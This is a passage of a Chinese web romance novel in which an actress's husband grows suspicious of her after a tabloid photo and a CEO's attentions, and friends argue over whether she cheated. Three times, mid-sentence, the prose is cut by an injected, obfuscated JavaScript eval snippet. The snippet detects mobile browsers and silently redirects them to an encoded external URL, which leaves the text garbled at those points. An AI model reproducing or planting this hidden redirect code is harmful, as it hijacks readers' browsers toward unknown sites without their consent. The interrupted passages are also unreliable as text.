霍霆之举着一把黑伞快步上前,语气关切:“这伞你拿着吧,雨天路滑,注意安全。” 祝绾栀怔了几秒,看着他眼底的坦荡与关切,最后还是接过了伞:“谢谢。” “祝小姐——”男人突然在身后喊住她,雨丝落在他的大衣上,他目光饶有兴致地打量着她,沉声道:“明天见。” 祝绾栀没说话,点头示意后便大步朝小区里走去。 到家的时候已经是凌晨十二点半了,祝绾栀踏进灯火通明的大厅,贺敬琛正在沙发上打着瞌睡等她。 一看见她,男人的目光顿时清明了起来,他从沙发上站起来:“回来了?” 祝绾栀朝他眨了一下眼睛:“你怎么还没睡?” 不知道为什么,在看见贺敬琛的那一眼,祝绾栀心底那股没来由的不安突然便烟消云散了,取而代之的,是一种稳稳的安心。 “你都还没回来,我哪儿睡得着。”他说着,莫名闻到她身上有股淡淡的烟味,与其它说不上来的诡异味道混合在一起,眉心微蹙,轻声问,“你身上什么味道?” 祝绾栀低头闻了闻自己的衣领,满不在乎地答了句:“可能是酒席上的味道吧。”她打了个哈欠,把身上的东西一股脑塞到他手里,“帮我把花插上,我去洗个澡,明天早上6点就得起了。” 贺敬琛手里拿着花和喜糖,抬头看向一脸疲惫的妻子的背影,最后低下头,找了个漂亮的花瓶把手捧花插上。 做完这一切,贺敬琛正准备上楼,余光偶然瞥见放在门口的那把黑伞。 他走过去,把雨伞收起来,突然在伞柄处看到了一个双R的浮雕。 这是劳斯莱斯标配的雨伞。 他抬起头,看着飘着雨丝的天空,今晚……不是祝盛辉送她回来的吗? 贺敬琛回到主卧时,祝绾栀刚在卫生间把头发吹干。他正要开口问她,祝绾栀却一脸困倦地爬上床,抬手搂住他的脖子,又将脸贴在她的肩颈处低声说:“好困啊老公……” 贺敬琛询问的话堵在喉头,沉默了一会儿后,正准备再次开口,怀里的女人却早已沉沉睡了下去。 他没了办法,只无奈地将那些话咽了下去。 10. 第 10 章 翌日清晨,祝绾栀五点五十就醒了。 外头天光还未大亮,贺敬琛还在睡,迷迷糊糊地搂着她的腰不肯松手,直到祝绾栀在他耳边低语了几句,又亲了他一口,他这才不情不愿地把人放走。 化妆镜前的自己眼下有淡淡的乌青,昨晚确实睡得不怎么踏实,断断续续做了好几个梦,醒来又记不清内容,只觉得心里莫名有些发慌。 她对着镜子发了会儿呆,最终还是把那种说不清道不明的情绪归结为——没睡好。 早上七点,保姆车准时停在霆献集团旗下的摄影棚外。 祝绾栀刚下车,助理小夏就迎了上来,手里举着两杯咖啡,嘴里噼里啪啦地汇报今天的行程:“姐,今天拍三套,第一套是‘晚栀’主视觉,第二套是短片素材,第三套是平面硬广。然后晚上还有个品牌晚宴要出席……” 小夏把咖啡递给她,压低声音说:“对了姐,今天霍总亲自来盯片场了,听说他很少来这种场合,看来对你这个代言人真的很重视。” 祝绾栀接过咖啡喝了一口,眉头微蹙:“他来了?” “嗯,二十分钟前到的,现在在棚里跟摄影师聊呢。” 祝绾栀没再说什么,踩着高跟鞋往摄影棚走去。 棚内温度适宜,灯光设备已经全部架好,工作人员各自忙碌着。摄影师陈靖是国内广告圈有名的视觉导演,拍过不少国际大牌的片子,此刻正拿着分镜脚本跟灯光师讨论光影角度。 霍霆之站在监视器后面,他今天穿了一件深灰色的西装外套,内搭白色衬衫,没系领带,领口微敞,看起来比昨天少了几分清冷,多了几分闲适。 他身边站着一个穿Prada套装的女人,正低头跟他说着什么,祝绾栀认出那是霆献的市场总监周妍。 “祝老师来了。”周妍先看见她,笑着走上前来,“昨晚休息得好吗?” “挺好的,谢谢周总监。”祝绾栀挂上营业笑容,礼貌回应。 “那就好,”周妍引着她往化妆间走,“今天行程比较满,辛苦祝老师了。妆造团队已经到了,我们大概九点正式开拍。” 化妆间是独立的,霆献在这方面的预算向来不含糊。 化妆师Lisa和发型师阿ken都是合作过多次的老朋友,一进门就开始忙碌。化妆刷在脸上轻扫,祝绾栀闭上了眼睛,脑子里默默过着今天要拍的脚本。 “晚栀”系列的主视觉概念她看过,走的是“清冷破碎感”的路线。栀子花的花语是“永恒的爱与约定”,但这个系列主打的是另一个维度——“即使在黑暗中,也要保持绽放的勇气”。 品牌方给出的核心关键词是:脆弱的、坚韧的、孤独的、圣洁的。 这四个词放在一起充满了矛盾感,但也正是这种矛盾,让这个系列在众多商业香水中显得格外有故事性。 “祝老师今天的皮肤状态好好哦。”Lisa一边上底妆一边感叹,“最近是不是休息得还不错?” 祝绾栀笑了笑:“还行吧。” 她没说昨晚失眠的事。 妆造做了将近两个小时,等祝绾栀换好第一套造型从化妆间走出来时,片场的工作人员都不约而同地抬起了头。 第一套造型是一条缎面吊带长裙,颜色是近乎透明的月白色,裙身上没有任何多余装饰,只在腰间收了一条极细的银色链条。长发被阿ken做成了略微凌乱的大波浪,在脑后松松挽起,几缕碎发垂落在耳畔,妆容干净到近乎素颜,只有唇上一点淡淡的栀子花色。 整个人的气质清冷又脆弱,像一朵即将被风吹散的花。 摄影师陈靖看到她的瞬间眼睛就亮了,转头对助理说:“快,让灯光师把左前方那盏柔光箱再往下降十公分,我要在祝老师的眼睛里看到光斑。” 霍霆之站在监视器后面,目光淡淡地落在祝绾栀身上,嘴角挂着一丝赞许的微笑。他的视线不动声色地从上到下缓慢移动,最终停留在她脚上那双透明的水晶高跟鞋上。 那双鞋是品牌方准备的,鞋跟足有十厘米,纤细得像两根针。 “祝老师,我们先试光,你站到那块白色标记的位置上。”陈靖举着测光表说。 祝绾栀提着裙摆走过去,按照陈靖的指示站定。 背景是一大片纯白色的弧形墙面,地面的白色花泥里插满了新鲜的栀子花,空气中弥漫着清甜的花香,混合着摄影棚特有的干燥气味,有些奇妙。 “好,头稍微往左侧偏一点,下巴抬起来,对,就是这种感觉——很好!” 陈靖的快门声咔嚓咔嚓地响起来。 “眼神再空一点,不要有太多情绪,就是那种……你在看某个很远的地方,但那个地方什么都没有。” 祝绾栀照着指示调整表情,她能很好地理解摄影师想要的东西。这套造型的核心理念是“孤独的绽放”,不需要讨好感,不需要情绪输出,只需要呈现一种纯粹的、与世隔绝的美感。 “走走位,走起来——对,脚步慢一点,像在梦中走路一样——” 祝绾栀赤足走在白色地胶上,裙摆拖在身后,像一尾鱼游在水中。陈靖的快门声追着她的步伐,棚内只有摄影师的指令和快门声,所有人都屏息看着监视器里的画面,那确实是一张很有故事感的脸。 同一时间,崇誉科技,贺敬琛的办公室。 落地窗外是城市的天际线,初春的阳光透过玻璃洒进来,在深色木地板上铺开一层浅金色的光。贺敬琛坐在办公桌前处理完最后一份文件,揉了揉眉心,拿起手机准备给祝绾栀发条消息问问拍摄进度。 手指刚点亮屏幕,微博的推送就弹了出来。 是一则来自某知名狗仔账号的爆料,标题写得极具煽动性: #【独家爆料】某当红Z姓小花雨夜私会神秘男子,车内亲密照曝光!# 鬼使神差的,他点开了那条八卦。 照片是在一个雨夜拍的,透过布满雨珠的前挡风玻璃,能看到车内的一男一女。 男人只能看到一个背影,此刻正侧身过去将副驾驶的女人整个挡住,照片定格的那一瞬间,两人像极了是在……接吻。 贺敬琛的瞳孔突然缩紧,这张照片虽然拍的很糊,甚至没有看到这位神秘小花的脸,可他还是凭借着露出的衣角认出了副驾驶上坐着的,几乎是祝绾栀无疑。 至于这个只有背影的男人,他几乎是第一时间联想到了一个月前匿名人士寄给他的那些照片。 所以……会是同一个人吗? 他点开那条微博,正文写着:[据小艺获悉,大年初四深夜0点,在芙宜某高端别墅区外拍到Z姓女星被神秘男子相送,两人关系看起来十分亲密,在车内独处长达10余分钟依旧难舍难分。据悉,该女星已婚多年,和丈夫一直营销恩爱夫妻人设,如今被拍到夜会神秘男子,疑似出轨婚变?] 这条微博发出去才11分钟,转发数就已经破千,评论区更是炸开了锅,也不知道是不是爆料人的内容太具有引导性,网友几乎认定了对方说的Z姓女星是祝绾栀。 贺敬琛拿着手机的手突然收紧,另一只手用力握成拳,大拇指关节发出一声清脆的咔嚓声。 他努力让自己平复下来,第一个时间给宁玉打了电话,随即拿上外套便风风火火地出了办公室。 电梯下行的过程中,他低着头,把爆料的评论区又看了一遍。 每多一条恶评,他的心就往下沉一寸。 大脑里仿佛有一个天使和一个魔鬼在互相打架争论。 天使说:要相信你的妻子,何况这种谣言又不是第一次发生。 魔鬼却说:这次的谣言和以前不一样,匿名照片,沈离舟的亲眼目睹,还有马路旁的匆匆一瞥,以及昨晚那把劳斯莱斯雨伞和现在几乎实锤的模糊照片,你真的还相信你的妻子是清白的吗? 贺敬琛只觉得自己被这两个家伙吵得大脑像团浆糊似的一片混乱。 他现在只想亲自去问她,他到底该相信哪一边? 车子在片场附近的停车场熄火,贺敬琛在驾驶座上坐了片刻,伸手拿过放在副驾驶上的保温袋。 里面是他半个小时前准备好的午餐——祝绾栀最爱吃的那家日料店的鳗鱼饭,他特意提前一天预定好让人送来。 他原本只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525711|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想去探班,只是现在,他却多了一个必须问清楚的问题。 贺敬琛提着保温袋走出停车场,初春的风吹过来,带着干燥的凉意。他走进霆献的摄影棚时,祝绾栀正在拍第二套造型。 摄影棚里人很多,灯光设备、摄像机、监视器、各种线缆交织在一起,工作人员穿梭其间。贺敬琛没有惊动任何人,在门口找了个不挡路的位置站定,目光穿过人群,落在最中间的祝绾栀身上。 她换了一套黑色丝绒长裙,妆容也从清淡变成了烟熏,嘴唇上是暗红色,整个人像暗夜里开出的一朵有毒的花。此刻她正站在聚光灯下,按照摄影师陈靖的指令调整姿势,脸上的表情专注又投入,完全不知道网上的风浪。 贺敬琛看着她,心底那根绷紧的弦稍微松了松。 他在门口站了一会儿,目光从祝绾栀身上移开,开始在摄影棚里扫视。 然后他看到了一个人。 摄影棚的另一侧,靠近监视器的地方,一个男人正站在那里。深灰色西装外套,内搭白衬衫,领口微敞,银框眼镜架在高挺的鼻梁上,整个人透着一股斯文疏离的气场。 那人正好抬头,隔着半个摄影棚的距离,对上了贺敬琛的视线。 只一眼,贺敬琛立马认出,眼前这个男人,正是匿名照片里跟自己的妻子举止暧昧的男人。 以及——他的背影,和微博爆料里那个送祝绾栀回家的神秘男人的背影几乎重合。 那一瞬间,贺敬琛的整颗心几乎都乱了。 祝绾栀拍到上台阶的一瞬间,脚下的鞋跟突然断裂,她惊呼一声。 千钧一发之际,两个男人几乎都做出了反应,最后是离祝绾栀最近的霍霆之先伸出手扶住了摔下来的女人。 “没事吧?”男人声音沉稳,一只手稳稳扶住她的胳膊,另一只手则搀扶着她的腰。 祝绾栀因为惯性,整个人跌进他怀里,脑袋几乎要埋进他的肩颈处。 “没事。”她声音带着一丝痛苦,被工作人员搀扶着坐下,并脱掉了脚上那只断裂的高跟鞋。 霍霆之拿起那只高跟鞋缓缓站起身,眉宇间带着一抹克制与威压并存的愤怒。 他看向一旁负责道具的工作人员,表情瞬间冷了下去:“这双鞋谁负责的?” 他的声音不大,但每个字都像冰碴子一样砸下来。 道具组的小姑娘脸都白了,快步跑过来,结结巴巴地说:“霍、霍总,鞋子我们提前检查过的,不知道怎么会……” “检查过?”霍霆之重复了这三个字,镜片后面的眼睛微微眯起来,目光从眼镜上方射出来,带着一种让人不敢直视的审视感,“鞋跟断成这样,你告诉我你检查过?” 整个片场安静得落针可闻。 陈靖放下相机,周围的工作人员面面相觑,谁都不敢出声。市场总监周妍赶紧走过来打圆场:“霍总,是我们的疏忽,马上换一双,马上查清楚。” 霍霆之没接话,只是垂下眼,看向祝绾栀的脚踝:“脚有没有扭到?动一下我看看。” 祝绾栀动了动脚踝:“没受伤,只是鞋跟断了。” 霍霆之这才松开手掌,弯腰捡起那只断了跟的鞋,翻过来看了一眼断面的位置。然后直起身,将鞋子递给周妍,语气恢复了平日的温和:“查一下这批鞋的采购渠道,确保后续不会再出问题。” 周妍连连点头,立刻让人去拿备用鞋。 他蹲下身揉了揉她的脚,然后说:“祝小姐,你丈夫来探班了,先休息一下,剩下的部分下午再拍。” 言毕,他站起身,走到贺敬琛身边点头示意,随即从另一侧缓慢离开。 他离开的那一瞬间,贺敬琛的鼻翼微微翕动着。 因为他在他身上,闻到了昨晚祝绾栀身上同款的香水味和烟味。 他不抽烟,却能精准分辨出那股烟味出自卡比龙。 原因无它,沈离舟爱抽这个牌子的烟,每天在自己面前吞云吐雾,导致他现在一闻就知道。 他深吸了一口气,缓慢地走到祝绾栀身边,声音机械得像是在走过场,几乎听不出一丝关心:“你没事吧?” 11. 第 11 章 祝绾栀摇了摇头,原本还在纳闷好好的鞋跟怎么会突然断裂,却因为看见他眼中而闪过一丝惊喜:“你怎么过来了?” 他看着面前这个熟悉又突然有些陌生的妻子,脸上努力扯出一个自然的笑容,举起手里的保温袋晃了晃:“路过,给你送饭。” 说着,他将饭盒交给小夏,弯下腰,手臂穿过她的臂弯,将人打横抱到化妆间里。 祝绾栀全程搂着他的脖子,一副无比甜蜜的样子。 化妆间里,贺敬琛坐在椅子上,揉了揉她的脚踝,状似随意地问了句:“对了,昨晚是你弟送你回来的吗?怎么我出去没看到他?” 小夏已经把饭盒打开,鳗鱼的香气瞬间充斥着整个化妆间。 祝绾栀疲惫地塌下腰,抱怨似的说了一句:“不是,我弟那个懒货,说好了要送我,结果下雨了他就不来了,还好碰见霍总,我才能蹭他的车回来。” “霍总?”贺敬琛眉头微微一皱,“就是刚才扶你的那个男人?” “嗯。”她点了点头,回答得一脸轻松,毫无顾忌,“怎么说,我也是他们公司的代言人,他当然不希望因为车的事耽误拍摄进度,所以就送我回来了。” “所以——”他抬起头,语气突然冷了半分,“你昨晚是坐在他的副驾驶回来的?” 祝绾栀握着筷子的手猛地一顿,有些意外地回过头,声音也轻了几分:“你怎么知道?” “微博上的事,”他坐直身体,“宁玉没跟你说吗?” 祝绾栀一头雾水地皱着眉,正要发问,宁玉拿着手机从外面风风火火地走了进来:“刚才在拍摄,我还没来得及说。” 她把微博上的帖子一五一十地复述给她听:“今天早上10点,微博那个八卦组的小艺爆料说你凌晨被一个神秘男人送回家,还在车里难舍难分了10余分钟,还被拍了照片,评论区90%的网友都在猜是你,你自己看吧。” 说着,她将提前保存好的照片和微博截图递给她看:“不过你别担心,帖子公关部已经处理干净了,还好贺总发现得早,要是转发量再多起来,你就真的是跳进黄河也洗不清了。” 祝绾栀只是匆匆扫了几眼,立马慌乱地抬起头,她突然后知后觉地意识到,贺敬琛刚才那些话似乎是在试探她。 试探她有没有说谎和隐瞒。 两人原先就因为一些她没有看到过的匿名照片和长相神似自己的人闹过信任危机,这次又有几乎实锤的铁证。 祝绾栀不想去纠结贺敬琛为什么不信任自己,换位思考,如果是照片里的人是他,她心里也会对配偶的忠诚产生怀疑。 何况她的职业本就敏感。 她第一时间为自己解释:“不是这样的,我昨晚是坐了他的车回来,可那是没有办法的事,昨晚雨下那么大,我真的打不到车,我弟又不肯来。还有,我坐在副驾驶是因为后排堆了东西,而且我们根本没有在车里什么难舍难分10分钟,到了地方我就马上下车了。这个照片完全就是角度问题,是因为我的安全带突然卡住了,他帮我弄了一下而已,总共也就十几秒的时间。” “我知道你肯定会想为什么所有事情都会那么巧,可事实就是这样,我没撒谎,不信的话,你可以去问霍霆之——” 祝绾栀说到这,声音突然顿住,一颗心也沉了下去,她怎么可以让他去找霍霆之来证明自己的清白? 毕竟霍霆之现在对他而言,几乎是自己的“奸夫”。 “奸夫”的话,又怎么能信呢? 他甚至可能会认为两人提前对好了口供。 刹那间,祝绾栀只觉得自己陷入了自证清白的漩涡中。 贺敬琛依旧只是淡淡看着她,然后说:“可是,我一个月前收到的多份匿名照片,里面跟你一起手挽着手的男人就是霍霆之。” 这话是陈述句。 他要她自己回答。 祝绾栀快崩溃了,她无力地闭上眼,努力解释:“那照片不是真的,至少照片里的人肯定不是我,我跟他除了代言人签约活动的时候见过,就只有昨天和今天总共三次,我们甚至都不熟,我怎么可能跟他在除工作以外的时间手挽手?你相信我,我没有出轨!” 贺敬琛看着她脸上的慌乱与无措,一颗心终究还是软了下来,他垂下眼眸,淡淡道:“我相信你,你好好休息,我先走了。” 祝绾栀拉住他的手,一双眼睛像小狗眼一样亮晶晶地望着他:“你是不是根本就不相信我?” “我相信你,真的,”他握住她的手,言语温和,“只是我下午有个会,不能陪你太久,只要你说没有,我就相信你。” “还有,下次再遇到这种打不到车的情况,你一定要第一时间打电话给我。” 说着,他像是为了要给她吃一颗定心丸,又特意弯腰在她脸颊上亲了一口这才离开。 贺敬琛坐上车,却并没有着急发动,只是脑海里反复回想着刚才片场里的那一幕。 她的表情就跟那天晚上一样自然,面对他的问题甚至没有隐瞒,回答得滴水不漏。 可他还是有太多的疑点,这一切实在是巧得有点太刻意了。 霍霆之,他一个开得起劳斯莱斯、日理万机的CEO,就算是过年期间工作不忙,也不至于没有司机,反而亲自开三个多小时的车程去参加朋友的婚礼。 甚至他常坐的后排位置竟又那么巧的堆了东西,谁家劳斯莱斯的后排会拿来放东西? 这……实在是有点说不通。 还有刚才在片场那位霍总看祝绾栀的眼神,虽然只有短短几秒,但他还是捕捉到了。 那不只是对一个代言人的欣赏,更像是……某种他不想承认的东西。 他重新点开狗仔拍摄的照片,因为是深夜加上雨天,照片模糊得像极了上个世纪的产物,他也看不出后排是否如祝绾栀所说,真的堆了东西。 —— 祝绾栀一直工作到晚上十点半,这才拖着疲惫的身体回到酒店。 她躺在床上,脑海里莫名回想起白天贺敬琛离开时眼中那一闪而过的落寞。 虽说自己问心无愧,虽然他愿意相信自己,可微博上那则狗仔用春秋笔法叙写的爆料和白天霍霆之突然为自己揉脚的行为,实在是有些越界了。 还有白天他说的,霍霆之是匿名照片里的男主。 这一连串的事件,让她意识到有人似乎在搞她。 可她一时实在不知道,在背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525712|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后操纵这一切的人究竟是谁? 也许是对家艺人,比如江羿?她想起《生姜发芽》即将开拍那会儿,因为自己一句话让他错失男主的机会,所以这次剧情直播的时候他才会秉承着“黑红也是红”的原则对公然嘲讽自己的体重,只是……他不至于对自己展开这么复杂的报复吧? 可除了江羿,她实在想不起来自己还得罪过谁。 祝绾栀一脸烦躁地翻了个身,从电话本里调出贺敬琛的手机号。 她了解贺敬琛,他绝对不会这么轻易地就相信自己。 他中午离开时的那个眼神,明显是会多想的征兆。 如果不解释清楚,这件事恐怕会像一根刺一样在两人心里越扎越深。 思及此,她立马给他拨去了电话。 电话在即将挂断的前两秒才被接通,手机里传来男人略带疲惫的声音:“怎么了?” “呃……”祝绾栀喉咙即将发出声响,却又不知道该说什么,半晌,她才闷闷地回答,“没什么,就是想你了。” 她没话找话地又问了一句:“那个,你现在……在家吗?” “在公司。”很简短的三个字。 祝绾栀攥紧拳头,又问:“那你吃晚饭了吗?要不要我给你叫个夜宵?” “不用了,”他语气里莫名带着一股不想理人的意思,祝绾栀可以清晰听见电话那头翻阅文件的嘈杂声,“要是没什么事的话,我就先挂了,我这儿……还挺忙的。” 她喊住他:“等一下。” “怎么了?” 祝绾栀停顿了几秒,终究还是问了出来:“你是不是不相信我?” “没有,我不是说了……” 她打断他:“可是从接电话到现在,你对我的态度都好冷淡。” 以往只要她打电话过来,他不管多忙都要跟自己腻歪几句,只是现在,他实在是安静的有点可怕。 她声音很小,却不是心虚:“我知道所有事情凑在一起很巧,我也觉得离谱,但巧不代表我有问题,我也想知道为什么会那么巧。” “你说匿名照片里的男人是他,但我真的没有跟他手挽手,你相信我。要么照片是P的,要么就是有人长得很像我。” “如果你不信,我们可以一起查,或者……你可以把照片拿去鉴定一下是不是P的。” 她握紧手机:“我知道你心里有刺,我也不想让我们之间变成这样,我打电话不是为了辩解,只是想告诉你,我不会做对不起你的事。” 那边叹了很长一口气,然后说:“我知道。” 又是这三个字。 祝绾栀抿紧唇,直接问他:“所以……中午在片场你说相信我,是真的信我,还是只是不想让我难过?” “我说了信你就是信你,你别多想,我对你态度冷淡是因为今天忙了一天,我很累,脑子也乱,等过两天闲下来,我会给你打电话的。” 他语气依旧是疲惫的,态度却是软的:“你也累了一天了,好好休息吧,我先挂了,晚安。” 听着他那声无比勉强的“晚安”,祝绾栀郁闷地再次翻了个身,她将枕头垫在胸前,盯着电话界面迷茫地眨了下眼睛:“到底是谁在多想嘛。” 12. 第 12 章 贺敬琛挂了电话,打开抽屉,看着那一叠被自己一分为二的照片,所以……这照片会是P的吗? 按照现在的AI发展技术……说不定,真是有心之人P了故意寄过来离间他们夫妻感情的? 可照片是P的,那片场霍霆之看她的眼神,也是装出来的吗? 他迷茫了。 正盯着照片出神,办公室的门突然被人敲响,沈离舟吊儿郎当地出现在门口,身子倚在门框边:“下班了大哥。” 贺敬琛不动声色地收起那些照片,语气极淡:“你先走吧。” 沈离舟听着这话,上前揶揄道:“啧啧啧啧啧啧,真是当牛马的命啊,大过年的还当劳模,公司有你绝对倒不了。” 贺敬琛懒得搭理他,手掌重新覆盖上了键盘,只是电脑里的内容,他一个字也没看进去。 沈离舟看着他这幅模样,明白他心里有事儿,他半个屁股坐上办公桌,从口袋里摸出烟:“怎么?跟老婆吵架了?” 贺敬琛依旧没说话,只是看见他嘴里叼着的那支烟,心里突然翻涌起了一股莫名的烦躁,忍不住开口:“你能别在我这儿抽烟吗。” 沈离舟即将按下打火机的手顿了顿,有些意外地看向他:“怎么……我抽烟难为到你了?” 贺敬琛眼神不耐地瞥了他一眼:“要抽出去抽。” 听着他这略带警告和烦躁的语气,沈离舟这才慢吞吞地将嘴里的烟夹到手上,八卦且夸张地问了一句:“不是……你真跟你老婆吵架了?” 他声音有点冲:“跟你有什么关系?” “得,跟我没关系,我不问了。”他将烟重新放回烟盒里,内心已然确定这家伙是跟老婆吵架,借工作逃避回家。 为了不被他的怒火波及,沈离舟第一时间选择了逃离,只是临走前还善意地提醒了他一句:“记得休息,别猝死了。” 祝绾栀第二天一大早就赶飞机去外地拍摄新剧,两人再次过起了聚少离多的生活。 贺敬琛早上开完会,推开陈从经的办公室把一份资料放到他桌上,坐在一旁的顾缦卿一脸灿烂地将桌上的果盘往前推了推:“吃西梅不?” 他随手拿了一颗西梅,一个人走到沙发边坐下。 沈离舟紧随其后推开办公室的门,本想喊人一块儿去吃饭,只是见他从昨天下午开始情绪就不对,又想到开会时他频频走神的样子,忍不住用眼神示意公司团宠去问问。 顾缦卿收到示意,捧着小半碗西梅坐到他旁边:“对了,我听离舟哥说昨晚你跟你老婆吵架了?怎么回事?说出来让我这个包青天帮你断一下案呀。” “没吵架。”他用拇指擦去西梅上的水珠,神情散漫。 沈离舟不解,认定他这哥们是在故作坚强:“没吵架……你昨晚为什么在公司过夜?” 贺敬琛不耐烦地掀起眼皮:“她去外地拍戏了,我一个人不想回去不行吗?” 办公室里开始陷入一片寂静,贺敬琛突然问:“缦卿,你觉得……我老婆是个什么样的人?” “什么样的人……”顾缦卿戳着脸颊,努力回想着跟祝绾栀相处的过往,下一秒,她几乎是毫不犹豫的回答,“很好很单纯的人啊。” 贺敬琛半信半疑:“你真的这么认为?” 顾缦卿察觉出他话里的不对劲,问:“那不然,你觉得你老婆是个什么样的人?” 他低下头叹了口气,轻声道:“我不知道。” “不知道?”顾缦卿站起身,“诶,你可是她老公诶,你们在一起这么多年,你居然会说出‘不知道’这三个字,这要是让绾绾听见她得多难过啊。” 贺敬琛没理会她的这句话,只是自顾自地问:“所以你觉得……她会出轨吗?” 此话一出,办公室的所有人脸上都露出了震惊之情,就连一直盯着电脑屏幕的陈从经也忍不住抬起了头。 他这哥们今天吃错药了? “出轨?!”顾缦卿震惊于他会问出这种问题,她双手叉腰,以一副娘家人的姿态愤愤开口,“大哥,真说起出轨,你出轨的概率都比她大好吗!” 贺敬琛睁大眼睛,表情明显不服:“我出轨的概率怎么就比她大了?你也不看看我每天忙的跟狗一样,我哪有时间出轨?!” “那难道她就有时间出轨?” “那工作环境不一样啊!” “怎么就不一样了?”她皱起眉头看他,“你说你好端端的凭什么怀疑人家出轨?你有证据吗?” “我当然是有证据才怀疑的。”他忍不住跟她敞开心扉,“我一月份的时候收到一堆匿名人士寄来她跟霆献的霍霆之暗昧不清的照片。还有昨天,她被狗仔拍到跟霍霆之同乘一辆车回来,她还坐在他的副驾驶上,昨天我亲眼在片场看见她鞋跟断了,霍霆之一脸慌张地跑过去给她揉脚,你说谁家大老板会给合作演员揉脚?这不是超出了合作伙伴的范畴了吗?” “所以你说的照片呢?”她伸出手,语气却是不屑的,“拿来我帮你分析分析,看看到底是你媳妇儿出轨了,还是你眼瞎把AI生成的东西当成你媳妇儿出轨的证据!” 他一脸烦躁地搓着手里那颗西梅:“不用你分析,那照片绝对不是AI生成的。” 今天一大早,他就把那堆残缺的照片寄给朋友分析,刚才开会中途得到了朋友的回复:那照片是AI和P图的概率极低。 也正是因为得到了专业机构的证实,他才会这么心慌意乱。 “那……”顾缦卿语塞了几秒后,硬着头皮继续说,“就算照片是真的,那也不能证明是你媳妇儿出轨啊,说不定……是工作期间拍的照片。” “而且她跟霍霆之同乘一辆车回来一定是有原因的,你应该去问她呀,如果她的解释不合理,你再怀疑她,而不是问都没问就开始盲目瞎猜。” “我当然问了,她也解释了,可是巧合实在太多了,我不知道我该不该相信。”贺敬琛握紧手里的西梅,又缓缓松开,整个人颇有些身心俱疲的感觉,“但是有一点,那个霍霆之,一定对我媳妇儿有想法。” “所以他对你媳妇儿有想法归有想法,你凭什么怀疑绾绾出轨?人家喜欢她跟她有什么关系?这又不是她能左右的了的事情,再说漂亮的女人哪个男人不心动?除了Gay。” 她双手环抱于胸前,停顿了良久这才再次分析:“说不定,这些巧合全是那个霍霆之单方面有意为之,目的就是为了离间你们夫妻的关系好让你受不了提出离婚,这样他就有机会抱得美人归了。” “不过……我觉得霍霆之喜欢你媳妇儿这件事,绾绾绝对不知情,不然按照她的性子,她一定会第一时间告诉你的。” 他反问:“可是万一他们什么都发生了呢?” 顾缦卿觉得无语:“他们能发生什么呀大哥,你能不能对你老婆有一点基本的信任。” 她忍不住提起了一桩陈年往事:“你忘了她当初义无反顾把自己全身家当都给你的事儿了吗?你居然会怀疑这么善良的姑娘会出轨?亏你说的出来。” “可人是会变的呀,”他举了个例子,“火灾里义无反顾把媳妇儿背出来的男人,三四年以后不还是出轨了?我们本来就聚少离多,她突然看上哪个帅哥……也不一定啊。” 未等顾缦卿反驳,贺敬琛又补了一个关键信息:“而且舟子生日那天,亲眼看见她跟一个陌生男人在消防通道接吻,我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525713|203484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来还不信的,现在想想,那个人很有可能就是霍霆之。” 他其实不想重提这件事,毕竟事后他打电话跟剧组那边确认过,沈离舟生日那天,她的确一直在剧组没有离开。 可他越想越觉得那晚在路上看见的那个人分明就是祝绾栀,所以再三纠结后他昨晚大半夜还是跑去查了车祸街道的监控。 最后证实,他并没有眼花,那晚的人,真的是他的妻子和霍霆之。 甚至在自己因撞击昏迷时,两人还近距离在车窗边观察过,最后冷漠离开了现场。 他现在真的不清楚,到底是要相信她的解释,还是相信自己的亲眼目睹。 闻言,顾缦卿立马将审视的目光对准沈离舟:“你那天真的看到了?” “我……”沈离舟被她问得突然不自信了。 顾缦卿提醒他:“到底有还是没有你要说清楚,万一人家两口子因为你一句无心之失离婚了,你可是要下地狱的。” 他思绪摇摆了片刻,带着些许笃定说:“总之我不能100%确定那人是她,但那人的轮廓就是很像祝绾栀,而且你干嘛那么偏袒她?你也不想想你是跟她认识的时间久还是跟你敬琛哥哥认识的时间久,人都列出那么多证据了你还搁这偏袒,那万一他媳妇儿就是出轨了呢?” 她大声反驳:“她不可能出轨!” “你又不天天跟她待在一块,怎么就那么肯定她不会出轨?” “反正我就是肯定!除非她亲口告诉我她出轨了,否则我才不相信这些所谓的证据。” 沈离舟快被气笑了:“你傻呀!偷吃的人会承认自己偷吃吗?!” “说来说去,那些证据明明就经不起推敲,我看……”她不满地撅着嘴,再次看向贺敬琛,“是不是你自己腻了想跟她离婚,所以才会连查都懒得查就相信她真的出轨了?” “我怎么可能会想跟她离婚?”贺敬琛突然觉得自己的心更累了,“你真的是越说越离谱了!” 